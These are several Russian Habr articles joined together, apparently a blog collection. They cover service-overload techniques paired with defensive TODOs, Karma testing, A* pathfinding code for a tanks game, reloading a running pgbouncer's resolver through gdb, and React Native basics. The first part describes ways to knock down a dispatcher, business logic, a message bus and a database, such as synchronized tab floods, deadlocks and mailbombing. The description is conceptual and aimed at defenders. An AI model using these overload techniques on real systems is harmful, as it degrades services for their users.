------------------
Чем можно "прижать" диспетчер? По сути, только большим количеством запросов и/или трафика за короткое время.
Чтобы добиться такого эффекта, уже понадобится напрячься - **синхронизировать большое количество клиентских браузеров**, потому что с одной машины значимо нагрузить не получится.
Для этого лучше всего...
* разослать некоторое **событие "на всех"** пользователей
* повесить на его приход **"мгновенную" обработку**
* независимо **из каждой вкладки**
* ... и запросить с сервера что-то **объемное и несжимаемое** (фотки, например) или **сжимаемое динамически**
> ***TODO #04****:* ***Кэшируйте заголовками*** *максимально, чтобы хотя бы часть запросов на сервер таки не долетела.*
>
> ***TODO #05:*** *Убедитесь по заголовкам ответа, что диспетчер* ***не пытается "сжимать несжимаемое"*** *и тупить на этом - бинарники или заведомо мелкие ответы.*
>
> ***TODO #06:*** *Делайте* ***обработку события из единственной вкладки****, раздавая остальным ответ через localStorage.*
>
> ***TODO #07:*** *Делайте* ***рандомизированную задержку*** *в пределах нескольких секунд от момента прихода события на клиента до запроса на сервер.*
>
>
"Роняем" бизнес-логику
----------------------
#### Исчерпание ресурсов
Если ваша БЛ заточена под последовательную синхронную обработку каждого входящего запроса в отдельном процессе/потоке (ex: Apache, IIS), то достаточно **занять их все**, чтобы начала копиться очередь и расти время выполнения.
Если же БЛ у вас асинхронная (ex: NodeJS), то стоит усилить воздействие, **вогнав event loop процесса в клинч** чем-то вроде бесконечного цикла или множественных операций над строками.
Для этого нам отлично пригодится методика из предыдущего пункта, генерирующая тучу запросов.
> ***TODO #08:*** *Используйте различные варианты* ***rate-limiter*** *- лучше прямо на диспетчере.*
>
>
#### Прикладной deadlock
Эффективным вариантом также будет **организовать deadlock** - отправить свои методы синхронно выполнять методы стороннего сервиса, а из них - снова в исходном сервисе!
> ***TODO #09:*** *Моделируйте возможность появления цепочек вызовов A -> B -> A. Нашли - избавляйтесь или* ***обвешивайте "жесткими" таймаутами*** *в пределах сотен миллисекунд.*
>
>
"Роняем" межсервисную шину
--------------------------
#### Мультипликация данных
Сгенерировать "на вход" относительно **немного сообщений с большим количеством получателей** у каждого. Внутри они "помножатся", и если не "порвет" при синхронизации узлов, то "ляжет" выходной канал. Не лег - добавить получателей.
> ***TODO #0A:*** *А нужна ли вам тут именно общая шина обмена? Подумайте над поднятием специализированной БЛ для обмена такими событиями.*
>
>
#### Mailbombing
Генерируем **большое количество объемных сообщений** в адрес другой БЛ. Вот тут точно на синхронизации узлов "порвет".
> ***TODO #0B:*** *Передавать не сам контент, а ссылку на него. Или смотри #0A.*
>
>
"Роняем" пулер соединений
-------------------------
Жил-был pgbouncer в **transaction mode**... Почему именно в таком? Потому что именно этот режим позволяет, в большинстве случаев, наилучшим образом утилизировать соединение к БД.
А это значит, что для каждой отдельной транзакции идет новое пересопоставление "клиентского" соединения "серверному".
То есть если **не "обернуть" в транзакцию, метод с тучей мелких запросов** к БД, каждый из них будет восприниматься как отдельная транзакция, обрабатываться независимо на отдельном соединении, и издержки на эту обработку будут существенно выше времени самого выполнения каждого SQL-запроса.
> ***TODO #0C:*** *Оборачивайте свои методы в транзакции целиком, если это не противоречит прикладной задаче.*
>
> ***TODO #0D:*** *Используйте session mode и* [*prepared statements*](https://postgrespro.ru/docs/postgresql/13/sql-prepare)*.*
>
>
#### Автогенерируемые запросы/данные
Лучше всего заходит в комбинации с ORM, для которого в радость выдать **тело запроса на пару мегабайт** или `IN (...)` с сотней тысяч свежевычитанных из базы же идентификаторов. Для пулера это означает бесполезную трату ресурсов на перекладывание байтиков между сокетами.
> ***TODO #0E:*** *Не стоит использовать ORM, пока вы детально не понимаете, как он работает.*
>
>
"Роняем" базу данных
--------------------
Настоящее раздолье для ценителя.
#### DDoS
*"А давайте в нашем методе делать X на базе****одновременно в несколько потоков****!"* И в нескольких процессах БЛ, до кучи... и без разумного ограничителя количества процессов-потоков.
> *Точно-точно надо именно одновременно? В таком-то количестве? А #6 и #7 - не ваш ли вариант?..*
>
>
*"Ладно, у нас будет не больше Y одновременных запросов..."* Ага, зато **каждый читает гигабайты данных** из кэша БД - тут-то пропускная способность памяти и кончается...
> ***TODO #0F:*** *Используйте кэширование ответов на стороне БЛ.*
>
> ***TODO #10:*** *Оптимизируйте уже свои запросы! См. статью* [*"*Рецепты для хворающих SQL-запросов*"*](https://habr.com/ru/post/492694/)*.*
>
>
#### Блокировки
"*Ну, я тогда сейчас заблокирую!..****advisory locks****не просто так мне даны! ... и тысячи их!*"
> ***TODO #11:*** *pg\_try\_advisory\_****xact****\_lock - при завершении транзакции снимаются автоматически. См. статью* [*"*Фантастические advisory locks, и где они обитают*"*](https://habr.com/ru/post/488024/)*.*
>
>
"*Мне надо* ***поменять поле/накатить индекс*** *прямо сейчас!*" и компания `ALTER TABLE`.
> ***TODO #12:*** *См. статью* [*"*DBA: когда почти закончился serial*"*](https://habr.com/ru/post/547740/)*.*
>
> ***TODO #13:***В целом, активность разных "ниндзя-разработчиков" на базе стоит мониторить и анализировать всегда. Как это делаем мы в ["Тензоре"](https://tensor.ru/) можно прочитать в статьях ["Мониторим базу PostgreSQL — кто виноват, и что делать"](https://habr.com/ru/post/502478/) и ["Массовая оптимизация запросов PostgreSQL"](https://habr.com/ru/post/487380/).
>
>
---
В общем, проверяйте почаще, что ваши ниндзя все еще работают именно на вас.
 | https://habr.com/ru/post/549908/ | null | ru | null |
# Karma — тестируем javascript в консоли
Здравствуйте. Признаюсь честно, я пишу тесты редко. Т.е хотел бы чаще, но все как-то не получается. Вроде и руководство в принципе не против даже, но все равно находятся задачи посрочнее и поважнее. Тем не менее на днях заглянув в redmine обнаружил что задач практически нет (точнее они были, но требовали сперва дождаться бэкэнда).
Что ж, самое время вспомнить про тесты (конечно нужно было раньше о них думать, но лучше поздно чем никогда).
Вообще я до этого уже пробовал писать тесты, в том числе и на бэкэнде, а конкретно `django`. Я еще тогда подумал что было бы здорово запускать тесты из консоли а не в окне браузера. Ну а поскольку с недавнего времени я активно слежу за развитием `angular`, то почему бы не посмотреть как это сделано у них. Тем более как-то краем глаза я зацепил момент, что там тесты как раз запускаются в консоли. Плюс к тому же с нуля разбираться в премудростях тестирования не хотелось и я решил взять какой нибудь готовый проект с тестами, посмотреть как оно сделано, и погонять собственно тесты на нем. Мой выбор пал на [angular-ui](http://angular-ui.github.io/), а точнее на один из его модулей [ui-utils](https://github.com/angular-ui/ui-utils).
Скачиваем, заходим в корень видим папку test а в ней файл karma.conf.js
Да и в самом ридми написано, что тесты запускаются так `karma start —browsers ….`
Гуглим karmajs и находим то что нам нужно [karma-runner.github.io/0.8/index.html](http://karma-runner.github.io/0.8/index.html)
Утилита для тестирования. Итак что она может?
* Запускать тесты из консоли
* Автоматически прогонять все тесты при каждом сохранении!!!
* Возможность писать тесты на множестве фреймворков, таких как jasmine, qunit и др.
* Прогонять тесты сразу на нескольких браузерах. (в том числе виртуальных, например fantomjs).
В общем то мне этих возможностей уже оказалось достаточно, чтобы взяться за нее. Но там есть и другие, в которые я пока не вникал, например интеграция с `jenkins`
Как я уже говорил я решил сначала попробовать на готовом проекте. В общем мои действия:
```
cd ui-utils
sudo apt-get install nodejs # на самом деле у меня уже давно установлена
sudo npm install karma -g # ставим глобально, но вприципе можно и локально
sudo npm install bower # нужен для того чтобы установить необходимые пакеты для ui-utils
npm install
bower install
```
Вот собственно и все.
Теперь запускаем в терминале.
```
karma start --brower=Chrome test/karma.conf.js --auto-watch
```
После этого у нас запустится браузер Chrome, в котором будет надпись: «Karma — connected»
Переходим обратно в терминал, и видим что какие-то тесты запустились, и все они прошли.
Теперь заходим в любой из файлов тестов, они находятся по адресу modules/modulename/test/testnameSpec.js
В какую либо из секций `it('...', function() {…..`
и дописываем
```
expect(2).toBe(3); # здесь в тестах используется jasmin, но можно использовать и другие фреймворки
```
сохраняем, смотрим в консоль и видим что-то вроде этого.
```
.............................................................
Chrome 28.0 (Linux) uiMask initialization should not not happen if the mask is undefined or invalid FAILED
Expected 2 to be 3.
Error: Expected 2 to be 3.
at null. (/home/mn/Documents/www/temp/ui-utils/modules/mask/test/maskSpec.js:25:17)
..........................................................................
Chrome 28.0 (Linux): Executed 136 of 136 (1 FAILED) (1.016 secs / 0.642 secs)
```
Наш тест обвалился.
Как видите, при сохранении тесты прогоняются автоматически.
Особенно удобно так работать с двумя мониторами. В на одном ты пишешь код, на втором висит терминал и сразу же показывает текущее состояние. В некоторых случаях можно вообще не смотреть в браузер.
Поскольку тесты прогоняются при каждом сохранении, они мельтешат и иногда это мешает. Для такого случая можно использовать команду
```
karma run
```
Т.е сперва нужно запустить
```
karma start test/karma.konf.js —no-auto-wath
```
и затем, в другом терминале запускать
```
karma run
```
Таким образом тесты будут запускаться вручную.
Конечно же я описал далеко не все возможности karma. Скорее этим постом я хотел привлечь ваше внимание к этой интересной утилите. Так что просто посетите [сайт](http://karma-runner.github.io/0.8/index.html) и посмотрите все сами.
P.S `karma` конечно же можно использовать не только для тестирования `angular`, но в целом и для любого другого клиентского кода на js. На текущем проекте мы не используем angular, но тесты на karma писать очень удобно.
P.S раньше эта утилита называлась `testacular` | https://habr.com/ru/post/187094/ | null | ru | null |
# Как я писал классические танки с интеллектом
### Вступление
Я являюсь независимым разработчиком приложений под Android (а конкретней — полтора года разработки интеллектуальной версии классической всеми любимой культовой игры "Танчики 1990").
Почему я решил написать эту игру: к играм я имею ещё более непосредственное отношение (играю в них). В плэймаркете я не увидел ни одной 2D-игры, где присутствовал бы алгоритм принятия решений о поиске кратчайшего пути. Я не говорю о более сложных играх, написанных на мощных движках. От чего зависит процент таких игр, я не знаю. Или это следствие идейной составляющей, или же результат конъюнктуры игрового рынка в целом, мне неизвестно. Моё личное мнение: таких игр должно быть больше.
Под интеллектуальной составляющей игры мы будем понимать ботов, имитирующих живых партнёров (оппонентов, союзников), в зависимости от игрового процесса в целом.
Имитация оппонента в контексте мною написанной игры — это скорее "псевдоинтеллект" (оптимизированное варьирование между целями — задачами и, как следствие, между поиском путей).
Как алгоритм поиска пути я использовал А\* (A-star). Вот его моя реализация на java:
```
import com.me.tanks1990Intellect.Classes.Pair;
import java.util.*;
public class AlgoritmAstar {
static Comparator comparator = new Comparator() {
public int compare(PathNode pathNode1, PathNode pathNode2) {
int fullPath1 = pathNode1.EstimateFullPathLength();
int fullPath2 = pathNode2.EstimateFullPathLength();
return fullPath1 > fullPath2 ? 1 : fullPath1 == fullPath2 ? 0 : -1;
}
};
private static int iteratorsCount = 0;
private static int maxIteratorsCount = 100;
public static int getIteratorsCount () {
return iteratorsCount;
}
public static ArrayList FindPath(Integer[][] field, Pair start,
Pair goal) {
// TestMapStructure.printMap(field); TODO: printMap
ArrayList closedSet = new ArrayList();
ArrayList openSet = new ArrayList();
PathNode startNode = new PathNode();
startNode.Position = start;
startNode.CameFrom = null;
startNode.PathLengthFromStart = 0;
startNode.HeuristicEstimatePathLength = GetHeuristicPathLength(start,
goal);
openSet.add(startNode);
iteratorsCount = 0;
while (openSet.size() > 0) {
if (++iteratorsCount > maxIteratorsCount)
return null;
Collections.sort(openSet, comparator);
PathNode currentNode = openSet.get(0);
if (currentNode.Position.equals(goal)) {
ArrayList result = GetPathForNode(currentNode);
// TestMapStructure.printMap(field, result); //TODO: printMap
return result;
}
openSet.remove(currentNode);
closedSet.add(currentNode);
ArrayList neighbours = (ArrayList) GetNeighbours(
currentNode, goal, field);
for (final PathNode neighbourNode : neighbours) {
if (ArrayHelper.getCount(closedSet, new Comparator() {
@Override
public boolean equals(Object obj) {
return ((PathNode) obj).Position
.equals(neighbourNode.Position);
}
@Override
public int compare(PathNode o1, PathNode o2) {
return 0;
}
}) > 0)
continue;
PathNode openNode = ArrayHelper.getFirstorDefault(openSet,
new Comparator() {
@Override
public boolean equals(Object obj) {
return ((PathNode) obj).Position
.equals(neighbourNode.Position);
}
@Override
public int compare(PathNode o1, PathNode o2) {
return 0;
}
});
if (openNode == null)
openSet.add(neighbourNode);
else if (openNode.PathLengthFromStart > neighbourNode.PathLengthFromStart) {
openNode.CameFrom = currentNode;
openNode.PathLengthFromStart = neighbourNode.PathLengthFromStart;
}
}
}
return null;
}
private static int GetDistanceBetweenNeighbours() {
return 1;
}
private static int GetHeuristicPathLength(Pair from, Pair to) {
return (int) (Math.abs(from.getValue0() - to.getValue0()) + Math
.abs(from.getValue1() - to.getValue1()));
}
private static Collection GetNeighbours(PathNode pathNode,
Pair goal, Integer[][] field) {
ArrayList result = new ArrayList();
Pair[] neighbourPoints = new Pair[4];
neighbourPoints[0] = new Pair(pathNode.Position.getValue0() + 1,
pathNode.Position.getValue1());
neighbourPoints[1] = new Pair(pathNode.Position.getValue0() - 1,
pathNode.Position.getValue1());
neighbourPoints[2] = new Pair(pathNode.Position.getValue0(),
pathNode.Position.getValue1() + 1);
neighbourPoints[3] = new Pair(pathNode.Position.getValue0(),
pathNode.Position.getValue1() - 1);
for (Pair point : neighbourPoints) {
if (point.getValue0() < 0 || point.getValue0() >= field.length)
continue;
if (point.getValue1() < 0 || point.getValue1() >= field[0].length)
continue;
if (/\*(field[(int) point.getValue0()][(int) point.getValue1()] != 0)
&&\*/ (field[(int) point.getValue0()][(int) point.getValue1()] == 1))
continue;
PathNode neighbourNode = new PathNode();
neighbourNode.Position = point;
neighbourNode.CameFrom = pathNode;
neighbourNode.PathLengthFromStart = pathNode.PathLengthFromStart
+ GetDistanceBetweenNeighbours(); // + 1
neighbourNode.HeuristicEstimatePathLength = GetHeuristicPathLength(
point, goal);
result.add(neighbourNode);
}
return result;
}
private static ArrayList GetPathForNode(PathNode pathNode) {
ArrayList result = new ArrayList();
PathNode currentNode = pathNode;
while (currentNode != null) {
result.add(currentNode.Position);
currentNode = currentNode.CameFrom;
}
result = ArrayHelper.getReversed(result);
return result;
}
}
```
Вспомогательный класс PathNode:
```
import com.me.tanks1990Intellect.Classes.Pair;
class PathNode {
public Pair Position;
public int PathLengthFromStart;
public PathNode CameFrom;
public int HeuristicEstimatePathLength;
public int EstimateFullPathLength() {
return this.PathLengthFromStart + this.HeuristicEstimatePathLength;
}
}
```
Вспомогательный класс ArrayHelper:
```
import java.util.ArrayList;
import java.util.Comparator;
public class ArrayHelper {
public static ArrayList getReversed(ArrayList wrappedList) {
ArrayList resultList = new ArrayList();
for (final T each : new ListReverser(wrappedList)) {
resultList.add(each);
}
return resultList;
}
public static int getCount(ArrayList wrappedList,
Comparator comparator) {
int count = 0;
for (T current : wrappedList) {
if (comparator.equals(current))
count++;
}
return count;
}
public static T getFirstorDefault(ArrayList wrappedList,
Comparator comparator) {
for (T current : wrappedList) {
if (comparator.equals(current))
return current;
}
return null;
}
public static ArrayList createCopy(ArrayList copiedMassive) {
ArrayList result = new ArrayList();
for (T innerTypeObject : copiedMassive) {
result.add(innerTypeObject);
}
return result;
}
public static Integer[][] createCopy(Integer[][] cells) {
Integer[][] cellsReturn = new Integer[cells.length][cells.length];
for (int i = 0; i < cells.length; i++) {
for (int j = 0; j < cells.length; j++) {
cellsReturn[i][j] = cells[i][j];
}
}
return cellsReturn;
}
}
```
Вспомогательный класс ListReverser:
```
import java.util.Iterator;
import java.util.List;
import java.util.ListIterator;
class ListReverser implements Iterable {
private ListIterator listIterator;
public ListReverser(List wrappedList) {
this.listIterator = wrappedList.listIterator(wrappedList.size());
}
public Iterator iterator() {
return new Iterator() {
public boolean hasNext() {
return listIterator.hasPrevious();
}
public T next() {
return listIterator.previous();
}
public void remove() {
listIterator.remove();
}
};
}
}
```
Этот алгоритм успешно находит путь для подвижного юнита размером с одну ячейку карты, который беспрепятственно обходит все закрашенные ячейки (рис. 1).
*(рис. 1)*
Каждая игровая 2D-карта может быть интерпретирована как набор пустых и закрашенных клеток (пустая клетка — свободная для размещения на ней динамического юнита, закрашенная — занятая).
На просторах интернета мне не удалось накопать ни одной статьи о поиске пути для игрового юнита размером в n клеток, где n > 1. И мне пришлось додумывать самому (рис. 2).
*(рис. 2)*
Всё оказалось весьма прозаично: мы можем просто интерпретировать игровую матрицу M с пустыми и закрашенными ячейками как карту M — acordingSize с пустыми элементами там, где может находиться наш юнит на нижнем левом своём углу. Красные ячейки (ранее не закрашенные) — те, на которые юнит, опираясь, пересекает чёрные, то есть закрытые элементы карты (рис. 3).
*(рис. 3)*
И теперь, имея в виду элементы карты, отличные от незакрашенных, как занятые, мы можем использовать наш алгоритм A-star для юнита, занимающего более одной ячейки на карте M — acordingSize (рис. 4).
*(рис. 4)*
```
private static int maxIteratorsCount = 100;
```
Эта строчка кода означает, что A — star ищет путь, перебирая не более сотни клеток.
Карта моей игры состояла из более чем 2 500 ячеек, и при "закрытости" в 10 процентов количество переборов ячеек могло достигать более 1500, что сильно тормозило игру. Поэтому я решил воспользоваться алгоритмом поиска свободной ячейки (vacantCell), находящейся по тому же направлению, что и ячейка финиша, и притом расстояние от этой ячейки (vacantCell) до нашего юнита, ищущего путь, должно минимально отличаться от некого числа = const (рис. 5).
*(рис. 5)*
Но этот способ лишь приближает юнит к цели, и при приближении нашего плеера к ячейки (vacantCell), должна быть заново вызвана процедура поиска другой ячейки vacantCell.
Во избежание многочисленного перебора свободных клеток матрицы M — acordingSize, мы можем разбить карту на замкнутые прямоугольные под-области и уже создавать граф со связями между вершинами. Каждой вершине графа ставится в соответствие одна замкнутая прямоугольная под-область матрицы M — acordingSize. Связь между вершиной "B1" и вершиной "B2" существует, если наш с вами юнит может перебраться из прямоугольной области "B1" в прямоугольную область "B2". И затем поиск пути должен рассчитываться, исходя из нашего графа (например "Алгоритм Дейкстры"). В этой статье я не буду приводить пример его реализации.
Разбитая на под — области карта M — acordingSize (рис. 6).
*(рис. 6)*
Граф, каждой вершине которого ставится в соответствие одна под-область из M — acordingSize (рис. 7).
*(рис. 7)*
Кому интересно — игру можно найти в плеймаркете под названием tanks 1990 intellect.
Спасибо за внимание! | https://habr.com/ru/post/304246/ | null | ru | null |
# Как вынудить процесс использовать новый адрес DNS-сервера из обновлённого resolv.conf без перезапуска самого процесса
Я работаю системным администратором Unix. Однажды к нам в отдел эксплуатации сервисов упал тикет от программиста с выдержой из лога application-сервера в заголовке: "*pgbouncer cannot connect to server*". Посмотрев логи pgbouncer'ов, я увидел, что периодически возникают lookup fail'ы при обращении к нашим DNS. Было установленно, что это связано *не* с работой наших DNS-серверов, а с ненадёжностью самого протокола UDP: иногда возникают потери пакетов по разным причинам.
[](http://habrahabr.ru/post/209356/)
В результате, было решено установить на каждом сервере с pgbouncer'ами по кэширующему BIND. И тут возникла интересная проблема: pgbouncer *не перечитывал* по сигналу HUP файл /etc/resolv.conf и продолжал обращаться к старым DNS-серверам. А перезагружать баунсеры категорически нельзя: есть проблемные проекты, которые очень болезненно относятся к разрывом сессий с базой.
В данной статье я расскажу как можно pgbouncer или *любую другую программу*, использующую библиотечный вызов *getaddrinfo()*, заставить перечитать resolv.conf и начать использовать новый DNS-сервер совершенно безболезненно для клиентов (без даунтайма).
##### Приступим
Сразу оговорюсь, что в моём случае pgbouncer'ы были версий *1.5.2* и собраны с *libevent-1.4* под *FreeBSD*.
Если посмотреть в исходник pgbouncer'а, то можно увидеть в файле *dnslookup.c* следующий комментарий:
```
/*
* Available backends:
*
* udns - libudns
* getaddrinfo_a - glibc only
* libevent1 - returns TTL, ignores hosts file.
* libevent2 - does not return TTL, uses hosts file.
*/
```
Это означает, что в случае когда pgbouncer собран с *libevent1*, для асинхронного резолва адресов используется функция *getaddrinfo\_a()* из стандартной библиотеки *libc*.
Опытным путём было установлено, что асинхронная *getaddrinfo\_a()* использует обычную функцию *getaddrinfo()* из libc. На последнюю функцию мы и будем ставить точку останова. Этот факт избавит нас от необходимости собирать pgbouncer с отладочными символами, так как gdb знает функцию getaddrinfo, не смотря на то, что libc собрана без отладочных символов.
Добавим в конфиг pgbouncer'а несуществующую базу, ссылающуюся на несуществующий домен (пригодится для тестов):
```
test = host=test.xaxa.blabla12313212.su user=pgsql dbname=template1 pool_size=10
```
В отдельном окне запустим pgbouncer:
```
su -m pgbouncer -c '/usr/local/bin/pgbouncer /usr/local/etc/pgbouncer.ini'
```
В другом окне подключимся к процессу с помощью отладчика gdb:
```
gdb /usr/local/bin/pgbouncer `cat /var/run/pgbouncer/pgbouncer.pid`
```
Поставим точку останова и позволим процессу выполняться дальше:
```
(gdb) b getaddrinfo
Breakpoint 1 at 0x800f862a4
(gdb) c
Continuing.
```
В другом окне попробуем подключиться к нашей базе с несуществующим доменом, чтобы инициировать попытку резолва:
```
su -m pgbouncer -c 'export PGPASSWORD="123" && /usr/local/bin/psql -Utest test -h10.9.9.16 -p6000';
```
В gdb мы видим, что мы попали в яблочко:
```
Breakpoint 1, 0x0000000800f862a4 in getaddrinfo () from /lib/libc.so.7
(gdb)
```
##### Как же работает getaddrinfo()?
С помощью мануалов и поисковика было выяснено, что эта функция при *первом* вызове читает файл resolv.conf, инициализирует в памяти структуру с кучей данных, среди которых можно найти и список DNS-серверов. Далее, функция пытается сделать резолв адреса при помощи *первого* адреса из списка. Если DNS-сервер не отвечает, функция делает активным следующий DNS-сервер из списка. И так по кругу. Функция читает resolv.conf только *единожды*.
Сначала я хотел пропатчить виртуальную память pgbouncer'а, найдя 4 байта адреса DNS-сервера в *network order* или *host order* формате. Для этого даже была написана программа «дампер памяти» на Си, которая позволяла дампить память процесса и искать определённый порядок байт. Но, как оказалось, в таком виде эти адреса в памяти найти *невозможно*. Понять же исходник getaddinfo() оказалось выше моих сил: очень много текста и всяческие *goto* чуть не сломали моё сознание. К тому же, я не являюсь программистом, а Си начал изучать всего месяц назад.
*Кстати, моя программа, использующая ptrace и procfs подошла бы для pgbouncer'а собранного с libevent2: там ip-адреса DNS-серверов хранятся как раз в виде четырёх байт. Но описание данного опыта выходит за рамки статьи.*
##### Что же делать?
К счастью, при помощи поисковика я нашёл в стандартной библиотеке спасительную функцию *res\_init()*:
> The res\_init() routine reads the configuration file (if any; see
>
> resolver(5)) to get the default domain name, search list and the Internet
>
> address of the local name server(s)
>
>
Именно эта функция вызывается при первом вызове getaddrinfo() и инициализирует нужную нам структуру!
Повторный же вызов функции переинициализирует структуру и перечитает resolv.conf.
##### Проверим на практике
Подключимся трассировщиком к нашему «замороженному» pgbouncer'у и начнём grep'ать файл дампа трассировки:
```
ktrace -f out.ktrace -p `cat /var/run/pgbouncer/pgbouncer.pid`
kdump -l -f out.ktrace | grep resolv
```
В окне с gdb осуществим вызов функции res\_init():
```
(gdb) call res_init()
Breakpoint 1, 0x0000000800f862a4 in getaddrinfo () from /lib/libc.so.7
```
В окне с выводом результата трассировки мы видим:
```
37933 pgbouncer NAMI "/etc/resolv.conf"
```
##### Цель достигнута
Нам удалось заставить процесс перечитать resolv.conf, при этом не уронив сервер и не разорвав активные state'ы tcp. В момент заморозки запросы также не теряются.
Если мы захотим чтобы локальный кэширующий DNS начал использоваться немедленно, нам нужно проделать следующие шаги:
1. Поменять в forwarders BIND'а серверы на новые (другие) рабочие DNS'серверы, которые до этого не использовались в resolv.conf и не будут использоваться, а затем сделать *rndc reload*
2. Забанить локальным фаерволом обращения к старым DNS-серверам (кроме 127.0.0.1)
3. Инициировать обращение pgbouncer'a к несуществующему серверу БД:
```
su -m pgbouncer -c 'export PGPASSWORD="123" && /usr/local/bin/psql -Utest test -h127.0.0.1 -p6000';
```
4. Убедиться с помощью tcpdump, что pgbouncer обращается к 127.0.0.1 по 53-му порту:
```
tcpdump -n -i lo0 port 53 | grep xaxa
"> 127.0.0.1.53" -
```
Где *xaxa* — часть имени сервера из pgbouncer.conf
5. Разбанить старые DNS в фаерволе
6. Вернуть настройки forwarders BIND'а в первоначальное состояние
##### И последнее
Если вы захотите повторить мой опыт, настоятельно рекомендую тренироваться на тестовом стенде.
Если вы захотите «пулять» команду в gdb в **batch mode**, имейте в виду, что gdb нужно сначала дать время на чтение символов, а потом уже следует вызывать функции: я как-то из-за этого здорово напортачил, убив один из 8-ми работающих pgbouncer'ов.
batch mode для gdb у меня выполняется теперь так:
```
printf 'shell sleep 3\ncall res_init()\ndetach\nquit\n' > /tmp/pb.gdb && gdb -batch -x /tmp/pb.gdb /usr/local/bin/pgbouncer `cat /var/run/pgbouncer/test.pid`
```
Надеюсь, мой опыт кому-то поможет чуть лучше понять как работают процессы в операционных системах. | https://habr.com/ru/post/209356/ | null | ru | null |
# Создание кроссплатформенных приложений с помощью React Native
*Предлагаем вашему вниманию перевод статьи, которая будет интересна начинающим разработчикам.*
React Native — это JS-фреймворк для создания нативно отображаемых iOS- и Android-приложений. В его основе лежит разработанная в Facebook JS-библиотека React, предназначенная для создания пользовательских интерфейсов. Но вместо браузеров она ориентирована на мобильные платформы. Иными словами, если вы веб-разработчик, то можете использовать React Native для написания чистых, быстрых мобильных приложений, не покидая комфорта привычного фреймворка и единой кодовой базы JavaScript.
Конечно, мы и раньше слышали обещания об универсальной разработке приложений, с помощью фреймворков наподобие Cordova или Titanium. А что насчёт React Native? В этой статье мы рассмотрим данный фреймворк и особенности его работы и поговорим о том, насколько удобно использовать React Native для написания iOS- и Android-приложений.
Так что такое React Native?
---------------------------
Прежде чем углубляться в подробности разработки, давайте посмотрим, что собой представляет React Native, и немного разберёмся с его работой.
### Это просто React
React — это JS-библиотека для создания пользовательских интерфейсов, обычно для веб-приложений. Она разработана в Facebook и распространяется под лицензией open source с 2013 года. React широко распространена, и в отличие от более крупных MVC-фреймворков решает относительно узкую задачу: *рендеринг* интерфейса.
Популярность React имеет ряд причин. Она компактна и имеет высокую производительность, особенно при работе с быстроменяющимися данными. Благодаря компонентной структуре, React поощряет к написанию модульного, переиспользуемого кода.
React Native — это та же React, но для мобильных платформ. У неё есть ряд отличий: вместо тега `div` используется компонент `View`, а вместо тэга `img` — `Image`. Процесс разработки остался тем же. Вам может пригодиться знание Objective-C или Java. Кроме того, в мобильной разработке есть свои подвохи (протестировал ли я на разных устройствах? Достаточно ли крупные объекты, чтобы на них комфортно нажимать?). Тем не менее, если вы работали с React, то React Native покажется вам практически такой же, столь же комфортной.
### Он действительно нативный
Первое, что удивляет людей в React Native — он «действительно» нативный. Другие решения JavaScript-для-мобильных-платформ просто оборачивают ваш JS-код в хвалёное веб-представление. Они могут перереализовать какое-нибудь нативное поведение интерфейса, например, анимацию, но всё же это остаётся веб-приложение.
В React компонент описывает собственное отображение, а затем библиотека обрабатывает для вас рендеринг. Эти две функции разделены ясным уровнем абстракции. Если нужно отрисовать компоненты для веба, то React использует стандартные HTML-тэги. Благодаря тому же уровню абстракции — «мосту» — для рендеринга в iOS и Android React Native вызывает соответствующие API. В iOS компоненты отрисовываются в настоящие UI-виды, а в Android — в нативные виды.
Вы будете писать ужасно выглядящий код, очень похожий на стандартный JavaScript, CSS и HTML. Вместо компилирования в нативный код, React Native берёт ваше приложение и запускает его с помощью JS-движка хост-платформы, без блокирования основного UI-потока. Вы получаете преимущества нативных производительности, анимации и поведения без необходимости писать на Objective-C или Java. Другие методы разработки кроссплатформенных приложений, вроде Cordova или Titanium, никогда не достигнут такого уровня нативной производительности или отображения.
### Преимущества для разработчика
По сравнению со стандартной разработкой под iOS и Android, React Native имеет гораздо больше преимуществ. Поскольку ваше приложение по большей части состоит из JavaScript, вы можете пользоваться многочисленными достоинствами веб-разработки. Например, чтобы увидеть внесённые в код изменения, можно мгновенно «обновить» приложение вместо длительного ожидания завершения традиционного ребилда. Похоже на дар свыше.
Кроме того, React Native предоставляет «умную» систему сообщений об ошибках и стандартные инструменты отладки JavaScript, что сильно облегчает процесс мобильной разработки.
### Обработка нескольких платформ
React Native изящно обрабатывает разные платформы. Подавляющее большинство API во фреймворке — кроссплатформенные, так что достаточно просто написать компонент React Native, и он будет без проблем работать в iOS и Android. В Facebook заявляют, что в их приложении Ad Manager [87% кода переиспользуется](https://www.youtube.com/watch?v=PAA9O4E1IM4&feature=youtu.be) на обеих платформах.
Если вам нужно писать зависящий от платформы код — в связи с разными правилами взаимодействия в iOS и Android, либо из-за преимуществ платформозависимого API — то с этим не будет трудностей. React Native позволяет назначать платформозависимые версии каждого компонента, которые вы можете потом интегрировать в своё приложение.
Работа с React Native
---------------------
Нет ничего сложного в том, чтобы писать настоящее нативное приложение под iOS и Android, используя единую кодовую базу JavaScript. Как строится работа с React Native?
### Начало
В первую очередь нужно установить обычные зависимости для iOS- и Android-разработки, а также сам React Native. Хорошую инструкцию можно найти на [сайте](https://facebook.github.io/react-native/docs/getting-started.html) фреймворка. React Native прост в настройке. Если у вас уже установлена обновлённая версия Node, то можете установить фреймворк с помощью команды `npm install -g react-native-cli`.
После установки зависимостей запустите `react-native init ProjectName`. Будет автоматически сгенерирован шаблон нового проекта.
Есть одна уловка: при разработке с помощью React Native вам понадобится OS X. Для создания iOS-приложений Apple заставляет использовать Mac, это неизбежное ограничение для большинства разработчиков. Если же вы планируете писать только Android-приложения, то в React Native реализована экспериментальная поддержка разработки на Windows и Linux.
### Обычные компоненты React
После настройки окружения приступаем к написанию приложений.
Как уже упоминалось, React Native — это просто React с несколькими основными отличиями. С точки зрения браузера, компоненты React Native выглядят очень похожими на компоненты React, но основные строительные блоки уже другие. Вместо таких тэгов, как `div`, `img` и `p` в React Native используются базовые компоненты вроде `Text` и `View`. В следующем примере используются компоненты `ScrollView`, `TouchableHighlight` и `Text`, применяемые для работы с видами, характерными для Android и iOS. C их помощью можно легко создать scrolling view, правильно обрабатывающий касания:
```
// iOS & Android
var React = require('react-native');
var { ScrollView, TouchableHighlight, Text } = React;
var TouchDemo = React.createClass({
render: function() {
return (
console.log('pressed')}>
Proper Touch Handling
);
},
});
```
Если вам ещё не приходилось иметь дела с JSX — мешаниной из HTML-образного синтаксиса и JavaScript — то этот код может показаться вам странным. И React, и React Native заставляют использовать JSX. Код рендеринга приложения соседствует с JavaScript, который управляет его поведением. Это часто вызывает недоумение у новичков, но я очень рекомендую не отвергать с ходу, а попробовать.
